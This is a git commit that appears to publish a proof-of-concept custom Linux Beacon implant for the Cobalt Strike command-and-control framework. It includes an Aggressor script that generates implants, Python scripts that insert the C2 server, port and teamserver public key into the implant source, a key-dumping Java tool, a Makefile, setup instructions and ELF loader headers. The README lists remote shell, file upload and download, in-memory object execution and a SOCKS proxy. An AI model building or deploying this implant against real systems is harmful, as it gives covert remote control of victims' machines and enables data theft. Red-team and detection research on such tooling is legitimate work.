Initial commit

This commit is contained in:
EricEsquivel
2026-02-11 15:08:25 -06:00
commit 031ec4ae1b
39 changed files with 5144 additions and 0 deletions
+422
View File
@@ -0,0 +1,422 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
*.env
publickey.txt
**.x64.o
**.zip
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
[Aa][Rr][Mm]64[Ee][Cc]/
bld/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Build results on 'Bin' directories
**/[Bb]in/*
**/[Oo]bj/*
# Uncomment if you have tasks that rely on *.refresh files to move binaries
# (https://github.com/github/gitignore/pull/3736)
#!**/[Bb]in/*.refresh
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*.trx
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Approval Tests result files
*.received.*
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.idb
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
# but not Directory.Build.rsp, as it configures directory-level build defaults
!Directory.Build.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.tlog
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
*.vbp
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
*.dsw
*.dsp
# Visual Studio 6 technical files
*.ncb
*.aps
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
**/.paket/paket.exe
paket-files/
# FAKE - F# Make
**/.fake/
# CodeRush personal settings
**/.cr/personal
# Python Tools for Visual Studio (PTVS)
**/__pycache__/
*.pyc
# Cake - Uncomment if you are using it
#tools/**
#!tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
MSBuild_Logs/
# AWS SAM Build and Temporary Artifacts folder
.aws-sam
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
**/.mfractor/
# Local History for Visual Studio
**/.localhistory/
# Visual Studio History (VSHistory) files
.vshistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
**/.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
# VS Code files for those working on multiple tools
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
!.vscode/*.code-snippets
# Local History for Visual Studio Code
.history/
# Built Visual Studio Code Extensions
*.vsix
# Windows Installer files from build outputs
*.cab
*.msi
*.msix
*.msm
*.msp
+160
View File
@@ -0,0 +1,160 @@
$ProjectLocation = "/home/ee/Tools/c2/CobaltStrike/"; # <-- SET THE DIRECTORY LOCATION CONTAINING THE PROJECT
$CustomBeaconProjectFolder = $ProjectLocation . "/CobaltStrike-Linux-Beacon/";
$GeneratePayloadDirectory = $CustomBeaconProjectFolder . "/generate-payload/";
$ImplantSrcDirectory = $CustomBeaconProjectFolder . "/implant/";
#######################################
# Generate Payload Menu Bar Below #
#######################################
menubar("Custom Beacons", "generate"); # Creates a menu bar at the top
popup generate { # When clicked more buttons appear
item "Generate Custom Beacons" { genBeaconMenu(); } # Item 1 button that appears, creates pop up when clicked.
};
# Create a function that makes a pop up submenu for generating payloads with different options you can select
sub genBeaconMenu {
# Create a dialog. Use &dialog_show to show it. Args in Order: 1. Title of the dialog; 2. A %dictionary mapping row names to default values; 3.A callback function that gets called when the user presses a &dbutton_action button.
# $1 is a reference to the dialog. $2 is the button name. $3 is a dictionary that maps each row's name to its value.
$dialog = dialog("Custom Beacon Generator", %(listener => "Select Listener: ", Beacon_name => "Beacon_x64"), &genPayload);
# Adds a description to a &dialog
dialog_description($dialog, "Creates a custom Beacon implant\n- Currently only supports HTTP/S listeners");
# Adds a listener selection row to a &dialog. This row only shows listeners with stagers (e.g., windows/beacon_https/reverse_https).
drow_listener_stage($dialog, "listener", "Listener: "); # Alternative is drow_listener which only shows staged Beacons whereas this shows stageless and staged
# Adds a text field row to a &dialog
drow_text($dialog, "Beacon_name", "Executable Name: ");
# Adds an action button to a &dialog. When this button is pressed, the dialog closes and its callback is called.
dbutton_action($dialog, "Generate");
# Shows a &dialog.
dialog_show($dialog);
}
# Callback function that gets called when you click Generate.
sub genPayload {
#
# check if user is on a linux or windows box
#
if (substr(cwd(), 0, 1) eq "/") {
$os = "linux";
} else {
$os = "windows";
show_message("Generating custom payloads on Windows has not yet been tested!");
return;
}
$filename = $3['Beacon_name'];
# Listener needs to be selected
if ($3['listener'] ismatch "Select Listener: ") {
berror($1, 'You did not select a Listener.');
show_message("Please select a Listener.");
}
# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#listener_info
# PRINTF DEBUGGING
#foreach $key => $value (listener_info($3['listener']))
#{
# println("$[15]key $value");
#}
#
# This is for inserting the specified listener information into the implant
#
$HTTPSvalue = "0";
$ListenerName = $3['listener'];
$payloadType = listener_info($ListenerName, "payload");
if ($payloadType ne "windows/beacon_http/reverse_http" && $payloadType ne "windows/beacon_https/reverse_https")
{
show_message("This is an invalid listener type for the Linux Beacon! Only reverse_http and reverse_https are supported.");
return;
}
else if ($payloadType eq "windows/beacon_http/reverse_http")
{
$HTTPSvalue = "0";
}
else
{
$HTTPSvalue = "1";
}
$TargetServer = listener_info($ListenerName, "host");
$TargetPort = listener_info($ListenerName, "port");
$command = "python3 InsertListenerInfo.py " . $TargetServer . " " . $TargetPort . " " . $HTTPSvalue;
println($command);
$process = exec($command, $null, $GeneratePayloadDirectory);
@data = readAll($process);
foreach $line (@data) {
println($line);
}
closef($process);
#
# Locate public key file
#
$publickeylocation = $CustomBeaconProjectFolder . "/generate-payload/publickey.txt";
if (!-exists $publickeylocation)
{
show_message("Public key file was not found! Make sure to generate public key. Check README for more information.");
return;
}
#
# Insert public key into beacon.c
#
$command = "python3 InsertPublicKey.py";
println($command);
$process = exec($command, $null, $GeneratePayloadDirectory);
@data = readAll($process);
foreach $line (@data) {
println($line);
}
closef($process);
#
# Build implant
#
$command = "make clean -f Makefile OUTPUT=" . $filename;
println($command);
$process = exec($command, $null, $ImplantSrcDirectory);
@data = readAll($process);
foreach $line (@data) {
println($line);
}
closef($process);
$command = "make -f Makefile OUTPUT=" . $filename;
println($command);
$process = exec($command, $null, $ImplantSrcDirectory);
@data = readAll($process);
foreach $line (@data) {
println($line);
}
closef($process);
#
# Remove public key from beacon.c after compiling
#
$command = "python3 RemovePublicKey.py";
println($command);
$process = exec($command, $null, $GeneratePayloadDirectory);
@data = readAll($process);
foreach $line (@data) {
println($line);
}
closef($process);
#
# Yay
#
show_message("Your custom implant has been generated at " . $CustomBeaconProjectFolder . "/implant/bin/" . $filename);
}
+38
View File
@@ -0,0 +1,38 @@
# Cobalt Strike Linux Beacon
A proof-of-concept custom Linux Beacon that communicates with the Cobalt Strike teamserver using the HTTP/S protocol.
The goal of this project isn't to be a fully featured implant, nor is it limited to just Linux. It is to show that it is possible to make custom implants for Cobalt Strike for any platform. The only requirement is communicating with the teamserver correctly.
With custom implants you can define custom behavior, add new features, support different platforms and file types, apply obfuscation at compile time, and more. The possibilities are endless.
Hopefully one day Cobalt Strike will officially support developing custom Beacons by adding more documentation and quality of life features.
## Features
- HTTP/S listener support (default C2 profile)
- Contains some built-in commands: `sleep`, `cd`, `pwd`, `shell`, `ls`, `exit`, `upload`, `download`
- Linux BOF execution using TrustedSec's ELFLoader. Supports both TrustedSec & Outflank BOFs
- SOCKS proxy
## Demo
Generating payloads with the Aggressor Script
![Linux Beacon Payload Generation](demo/generate_payloads.gif)
Running commands & BOFs in the Linux Beacon
![Linux Beacon Commands Demo](demo/commands.gif)
## Setup
You can view the setup steps in the [SETUP](SETUP.md) file.
## Special Thanks
Thank you to [Kyle Avery](https://x.com/kyleavery) for your help with integrating BOF execution and testing out the implant.
## Resources
- Cobalt Strike (wow!)
- [TrustedSec's ELFLoader & BOFs](https://github.com/trustedsec/ELFLoader)
- [Outflank's BOFs](https://github.com/outflanknl/nix_bof_template)
- [PaloAltoNetworks Unit42](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
- [SANS ISC](https://isc.sans.edu/diary/27968)
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
+48
View File
@@ -0,0 +1,48 @@
## Initial Setup
The Cobalt Strike client compiles the implant through an Aggressor Script. Therefore your machine running the CS client must be on Linux to have the necessary dependencies to build this project. In this documentation I show how to setup this project, as well as building manually if you would like.
### Setting up project on Linux:
##### 1. Place project in appropriate location
Clone this project onto the Linux machine where you use the Cobalt Strike client. Then open the `CobaltStrike-Linux-Beacon/CustomBeacon.cna` file and set the absolute path to the project folder on the first line.
##### 2. Retrieve Teamserver Publickey
These steps are to retrieve the teamserver's publickey from `.cobaltstrike.beacon_keys` so that it can be used by the Linux Beacon for initial communication.
First, download the `CobaltStrike-Linux-Beacon/generate-payload/Dump.java` file onto your teamserver.
Next, navigate to the teamserver folder containing `.cobaltstrike.beacon_keys`.
Then, run this command:
```
java -cp "/path/to/cobaltstrike-client.jar" /path/to/Dump.java
```
This will output "publickey.txt". Move this file into the `CobaltStrike-Linux-Beacon/generate-payload/` folder back on the Linux machine where you are running the CS client.
##### 3. Install Build Dependencies
Run these commands on your Cobalt Strike client Linux machine to install dependencies.
```bash
sudo apt-get update
sudo apt-get install -y build-essential libssl-dev libcurl4-openssl-dev
```
* Also make sure you also have Python3 installed
##### 4. Import CustomBeacon.cna Cobalt Strike
Load the `CustomBeacon.cna` Aggressor Script into your client's Script Manager.
Then you can begin generating your payloads with a click of a button!
### Manually build payload (no Aggressor Script)
This is particularly useful if you use the CS client on Windows and can't import/use the Aggressor Script to build the implant. You would manually build the payload on Linux using the steps below and you can interact with the implant like normal after it executes and connects to the teamserver.
After completing steps 1, 2, and 3 (installing dependencies & preparing publickey), do this:
4. Go into the `generate-payload/` folder
5. Run `python3 InsertPublicKey.py` to insert the public key into the implant.
6. Run `python3 InsertListenerInfo.py [HOST_IP] [PORT] [0/1]`
* 0 = use HTTP, 1 = use HTTPS
7. Then run `make`.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 7.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.6 MiB

+55
View File
@@ -0,0 +1,55 @@
// Original tool: https://gist.github.com/olliencc/af056560e943bafa145120103a0947a3#file-dump-java
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
private static String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair) CommonUtils.readObject(file, null);
// Print private key (Base64)
/*
System.out.printf(
"Private Key: %s%n%n",
Base64.getEncoder().encodeToString(
keyPair.getPrivate().getEncoded()
)
);
*/
// Convert public key to hex
String publicKeyHex = bytesToHex(
keyPair.getPublic().getEncoded()
);
// Write public key hex to file "publickey"
Files.write(Path.of("publickey.txt"), publicKeyHex.getBytes());
System.out.println("Public key written to file: publickey.txt");
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
+40
View File
@@ -0,0 +1,40 @@
import os
import sys
import subprocess
C2_SERVER_string = "#define C2_SERVER"
C2_PORT_string = "#define C2_PORT"
C2_USE_HTTPS_string = "#define C2_USE_HTTPS"
def InsertListenerInfo(Target_Server, Target_Port, HTTPS_value):
# Read original file
with open("../implant/headers/config.h", "r") as f:
lines = f.readlines()
# Write modified file
with open("../implant/headers/config.tmp", "w") as f:
for line in lines:
if C2_SERVER_string in line:
f.write(f'{C2_SERVER_string} "{Target_Server}"\n')
elif C2_PORT_string in line:
f.write(f'{C2_PORT_string} {Target_Port}\n')
elif C2_USE_HTTPS_string in line:
f.write(f'{C2_USE_HTTPS_string} {HTTPS_value}\n')
else:
f.write(line)
print("Inserted listener info into config.h!")
os.replace("../implant/headers/config.tmp", "../implant/headers/config.h")
if __name__ == "__main__":
TargetServer = sys.argv[1]
TargetPort = sys.argv[2]
HTTPSvalue = sys.argv[3]
InsertListenerInfo(TargetServer, TargetPort, HTTPSvalue)
+37
View File
@@ -0,0 +1,37 @@
import os
import subprocess
search_string = "unsigned char BEACON_PUBLIC_KEY[256] ="
def hex_to_c_string(hex_string):
hex_string = hex_string.strip().replace(" ", "")
return ''.join(f'\\x{hex_string[i:i+2]}' for i in range(0, len(hex_string), 2))
def InsertPublicKey():
# Read hex from file
with open("publickey.txt", "r") as f:
hex_data = f.read()
c_string = hex_to_c_string(hex_data)
replacement_line = f'unsigned char BEACON_PUBLIC_KEY[256] = "{c_string}";\n'
# Read original file
with open("../implant/src/beacon.c", "r") as f:
lines = f.readlines()
# Write modified file
with open("../implant/src/beacon.tmp", "w") as f:
for line in lines:
if search_string in line:
f.write(replacement_line)
print("Inserted public key into beacon.c!")
else:
f.write(line)
os.replace("../implant/src/beacon.tmp", "../implant/src/beacon.c")
if __name__ == "__main__":
InsertPublicKey()
+28
View File
@@ -0,0 +1,28 @@
import os
import subprocess
search_string = "unsigned char BEACON_PUBLIC_KEY[256] ="
def RemovePublicKey():
replacement_line = f'unsigned char BEACON_PUBLIC_KEY[256] = "\\x30";\n'
# Read original file
with open("../implant/src/beacon.c", "r") as f:
lines = f.readlines()
# Write modified file
with open("../implant/src/beacon.tmp", "w") as f:
for line in lines:
if search_string in line:
f.write(replacement_line)
print("Replaced public key line with placeholder!")
else:
f.write(line)
os.replace("../implant/src/beacon.tmp", "../implant/src/beacon.c")
if __name__ == "__main__":
RemovePublicKey()
+60
View File
@@ -0,0 +1,60 @@
# Makefile for Cobalt Strike Linux Implant
OUTPUT ?= beacon
CC = gcc
CFLAGS = -Wall -Wextra -O2 \
-I./headers \
-I./elfloader/elfloader-headers
LDFLAGS = -lssl -lcrypto -lcurl
# Directories
SRC_DIR = src
ELFLOADER_SRC_DIR = elfloader/elfloader-src
INC_DIR = headers
ELFLOADER_INC_DIR = elfloader/elfloader-headers
OBJ_DIR = obj
BIN_DIR = bin
# Target binary
TARGET = $(BIN_DIR)/$(OUTPUT)
# Source files
SOURCES = \
$(wildcard $(SRC_DIR)/*.c) \
$(wildcard $(ELFLOADER_SRC_DIR)/*.c)
# Object files (mirror source tree in obj/)
OBJECTS = $(patsubst %.c,$(OBJ_DIR)/%.o,$(SOURCES))
# Default target
all: directories $(TARGET)
# Create necessary directories
directories:
@mkdir -p $(BIN_DIR)
@mkdir -p $(OBJ_DIR)/$(SRC_DIR)
@mkdir -p $(OBJ_DIR)/$(ELFLOADER_SRC_DIR)
# Link the final binary
$(TARGET): $(OBJECTS)
@echo "[LD] Linking $@"
@$(CC) $(OBJECTS) -o $@ $(LDFLAGS)
@echo "[+] Build complete: $@"
# Compile source files (works for all source dirs)
$(OBJ_DIR)/%.o: %.c
@echo "[CC] Compiling $<"
@$(CC) $(CFLAGS) -c $< -o $@
# Clean build artifacts
clean:
@echo "[CLEAN] Removing build artifacts"
@rm -rf $(OBJ_DIR) $(BIN_DIR)
# Debug build
debug: CFLAGS += -g -DDEBUG
debug: clean all
.PHONY: all clean debug directories
+24
View File
@@ -0,0 +1,24 @@
Copyright 2021, ELFLoader by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the distribution.
* Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to ELFLoader as well.
Note that the ELFLoader is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it).
@@ -0,0 +1,65 @@
#ifndef ELFLOADER_H_
#define ELFLOADER_H_
/*Defines to map Elf_Phdr to Elf32_Phdr and whatnot*/
#if UINTPTR_MAX == 0xffffffff
#define Elf_Ehdr Elf32_Ehdr
#define Elf_Phdr Elf32_Phdr
#define Elf_Sym Elf32_Sym
#define Elf_Rel Elf32_Rel
#define Elf_Shdr Elf32_Shdr
#define ELF_R_TYPE(i) ((i) & 0xff)
#define ELF_R_SYM(x) ((x) >> 8)
#define SHT_REL_TYPE SHT_REL
#define X86
#else
#define Elf_Ehdr Elf64_Ehdr
#define Elf_Phdr Elf64_Phdr
#define Elf_Sym Elf64_Sym
#define Elf_Rel Elf64_Rela
#define Elf_Shdr Elf64_Shdr
#define ELF_R_TYPE(i) ((i) & 0xffffffff)
#define ELF_R_SYM(x) ((x) >> 32)
#define SHT_REL_TYPE SHT_RELA
#endif
typedef struct ELFInfo {
Elf_Ehdr *Header;
Elf_Phdr *progHeader;
int progHeaderSize;
Elf_Shdr *sectHeader;
int sectHeaderSize;
unsigned char* execPtr;
Elf_Sym *symbolTable;
char* stringTable;
char* sectionStringTable;
unsigned char** sectionMappings;
int* sectionMappingProts;
unsigned char* tempOffsetTable;
int tempOffsetCounter;
} ELFInfo_t;
/* x86_64 */
#ifdef WIN32
#define PROT_READ PAGE_EXECUTE_READWRITE
#define PROT_WRITE PAGE_EXECUTE_READWRITE
#define PROT_EXEC PAGE_EXECUTE_READWRITE
#endif
#if defined(__amd64__) || defined(__x86_64__)
unsigned char* ThunkTrampoline = (unsigned char*)"\x48\xb8\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xff\xe0";
int ThunkTrampolineSize = 12;
#define THUNKOFFSET 2
#define COMPILEDMACHINEARCH EM_X86_64
#endif
/* x86 */
#if defined(__i386__)
unsigned char* ThunkTrampoline = (unsigned char*)"\x68\x00\x00\x00\x00\x58\xff\xe0";
int ThunkTrampolineSize = 8;
#define THUNKOFFSET 1
#define COMPILEDMACHINEARCH EM_386
#endif
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize);
#endif
@@ -0,0 +1,8 @@
#ifndef ELFLOADER_INCLUDE_H_
#define ELFLOADER_INCLUDE_H_
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize);
char* BeaconGetOutputData(int *outsize);
unsigned char* unhexlify(unsigned char* value, int *outlen);
#endif
@@ -0,0 +1,59 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#ifndef BEACON_API_H_
#define BEACON_API_H_
/* Structures as is in beacon.h */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconDataParse(datap * parser, char * buffer, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
int BeaconDataLength(datap * parser);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatReset(formatp * format);
void BeaconFormatFree(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
char * BeaconFormatToString(formatp * format, int * size);
void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
void BeaconPrintf(int type, char * fmt, ...);
void BeaconOutput(int type, char * data, int len);
/* Token Functions */
int BeaconIsAdmin();
uint32_t swap_endianess(uint32_t indata);
char* BeaconGetOutputData(int *outsize);
char** getEnviron(void);
char* getOSName(void);
#endif
@@ -0,0 +1,67 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#ifndef BEACON_COMPATIBILITY_H_
#define BEACON_COMPATIBILITY_H_
typedef struct beacon_function{
char* functionName;
void* function;
} beacon_function_t;
extern beacon_function_t BeaconInternalMapping[18];
#define BEACONINTERNALMAPPINGCOUNT 17
void* internalFunctionLookup(char* symbolName);
/* Structures as is in beacon.h */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconDataParse(datap * parser, char * buffer, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
int BeaconDataLength(datap * parser);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatReset(formatp * format);
void BeaconFormatFree(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
char * BeaconFormatToString(formatp * format, int * size);
void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
void BeaconPrintf(int type, char * fmt, ...);
void BeaconOutput(int type, char * data, int len);
/* Token Functions */
int BeaconIsAdmin();
uint32_t swap_endianess(uint32_t indata);
char* BeaconGetOutputData(int *outsize);
char** getEnviron(void);
char* getOSName(void);
#endif
@@ -0,0 +1,205 @@
#ifndef MINIMAL_ELF_H_
#define MINIMAL_ELF_H_
/* Minimal elf definitions stripped from FreeBSD's headers
* and included so that there's no external dependencies
* for the mac version of the Loader.
* */
/*-
* SPDX-License-Identifier: BSD-2-Clause-FreeBSD
*
* Copyright (c) 1996-1998 John D. Polstra.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
